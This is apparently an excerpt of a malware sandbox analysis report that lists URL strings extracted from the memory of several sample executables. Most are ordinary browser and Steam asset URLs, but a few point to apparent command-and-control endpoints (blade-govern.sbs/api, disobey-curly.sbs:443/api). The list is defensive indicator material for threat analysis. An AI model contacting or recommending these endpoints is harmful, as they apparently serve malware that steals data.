Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, HCAEHDHD.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.c
Source: chromecache_319.12.dr	String found in binary or memory: https://apis.google.com
Source: deced33b-89a5-480e-a1ec-893710fda5f9.tmp.17.dr	String found in binary or memory: https://assets.msn.com
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://bard.google.com/
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/api
Source: file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, HCAEHDHD.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.
Source: manifest.json.16.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.16.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: deced33b-89a5-480e-a1ec-893710fda5f9.tmp.17.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.16.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: deced33b-89a5-480e-a1ec-893710fda5f9.tmp.17.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamst:
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=4Vb3xc8UazdB&a
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=OgygW_VD
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=ycjp
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=nT6RHKdfWgaJ&l=e
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/0~
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs:443/api
Source: manifest.json0.16.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: deced33b-89a5-480e-a1ec-893710fda5f9.tmp.17.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log10.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr, HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
